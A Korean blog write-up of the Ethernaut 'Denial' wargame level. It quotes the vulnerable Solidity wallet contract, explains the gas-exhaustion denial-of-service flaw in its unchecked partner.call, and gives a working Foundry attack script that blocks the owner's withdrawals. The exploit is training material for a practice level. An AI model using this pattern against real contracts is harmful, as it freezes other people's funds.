c0mpos3r

[Ethernaut] 20. Denial WriteUp 본문

Web3/Hacking

[Ethernaut] 20. Denial WriteUp

음대생 2025. 8. 24. 07:39

1. 문제 분석

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.

 

이것은 시간이 지남에 따라 자금을 떨어 뜨리는 간단한 지갑입니다. 철수 파트너가되어 자금을 천천히 인출 할 수 있습니다.

Dencist ()에 전화 할 때 소유자가 자금 인출을 거부 할 수 있다면 (계약에 자금이 여전히 있고 거래는 1m 가스 이하인 경우)이 수준에서 이길 것입니다.

1-1. code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
  • 계약 잔액의 1% partner에게, 1%를 고정 소유자 owner에게 보내는 withdraw() 함수를 제공한다.
  • 누구나 setWithdrawPartner로 partner 주소를 바꿀 수 있다.
  • 입금은 receive()로 받는다.

1-2. Denial Contract 분석

상태 변수

  • address public partner: 출금 파트너 주소. 누구나 바꿀 수 있어서 Attack Vector입니다.
  • address public constant owner = address(0xA9E): 소유자 고정 주소.
  • uint256 timeLastWithdrawn: 마지막 출금 시각 기록.
  • mapping(address => uint256) withdrawPartnerBalances: 파트너에게 보낸 누적 금액 기록용. 실제 인출에는 사용되지 않는다.

핵심 함수 동작

withdraw()

  • amountToSend = address(this).balance / 100; 현재 계약 잔액의 1%를 계산한다.
  • partner.call{value: amountToSend}("");
    로우레벨 call로 파트너에게 이더를 보냅니다. 중요한 점은 반환값을 확인하지 않고, 가스 한도를 제한하지 않는다.
  • payable(owner).transfer(amountToSend);
    이후 오너에게도 1%를 보냅니다. transfer는 수신자에게 2300가스만 전달하고, 실패 시 즉시 revert한다.

Attack Vectors

Reentrancy (재진입 공격)

  • 외부호출(partner.call)이 효과·상태 갱신 전에 위치
  • 구조적으로 재진입 가능 경로가 열려 있어(receive→withdraw 재호출) 가스 소모를 증폭 가능

DoS (Denial of Service)

  • partner.call이 남은 가스를 대부분 위임 → owner.transfer(2300) + SSTORE가스 부족 → 전체 OOG revert로 인출 봉쇄
  • call의 반환값을 무시하므로 partner 측 revert도 무해하게 “성공처럼” 통과되지만, 가스 소모형 fallback으로는 치명적

2. Solving

  • 본질은 가스 고갈(Out-of-Gas)에 의한 서비스 거부(DoS) 이다.
  • 공격자는 자신이 만든 계약을 partner로 설정한 뒤, 그 계약의 receive/fallback에서 고가스 연산을 수행하도록 하면 된다.
  • partner.call{value: …}("")는 가스 제한이 없어서 상대가 가스를 다 태워버릴 수 있다. 이 호출은 실패해도 revert하지 않고 false를 반환하며 계속 진니다.
  • 하지만 이미 남은 가스가 거의 0에 가까워진 상태이므로, 그 다음 줄의 owner.transfer(...)를 실행하려 할 때 가스 부족으로 전체 트랜잭션이 revert된다.

Process

  • 파트너 등록 — setWithdrawPartner(Attack)
  • 가스 소모 — Attack.receive()에서 while(true) / assert(false)로 가스 소모
  • 실행 —  항상 OOG revert되어 출금 차단
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import { Denial } from "../src/Denial.sol";

contract Attack {
    function attack(address payable _instance) public payable {
        Denial instance = Denial(_instance);
        instance.setWithdrawPartner(address(this));
    }

    receive() external payable {
        assert (false);
    }
}

contract CounterScript is Script {
    address public instAddr = 0x8d4867c5DB651205a7FB5E2f1ae3116bd8E974ed;

    function run() public {
        vm.startBroadcast();

        Attack atk = new Attack();
        atk.attack(payable(instAddr));

        vm.stopBroadcast();
    }
}

3. 결론

외부 호출을 먼저 하고 Full Payments가 가능한 call 함수 사용시 가스 상한을 두지 않으면 가스 고갈 DoS로 기능이 멈춘다. 외부 상호작용은 뒤로 미루고 가스, 반환값을 제어해야한다. 

 

 

'Web3 > Hacking' 카테고리의 다른 글

[Ethernaut] 01. Fallback WriteUp  (0) 2025.08.24
[Ethernaut] 00. Hello Ethernaut WriteUp  (0) 2025.08.24
[Ethernaut] 21. Shop WriteUp  (0) 2025.08.20
[Ethernaut] 19. Alien Codex WriteUp  (2) 2025.08.09
[Ethernaut] 18. MagicNumber WriteUp  (1) 2025.08.09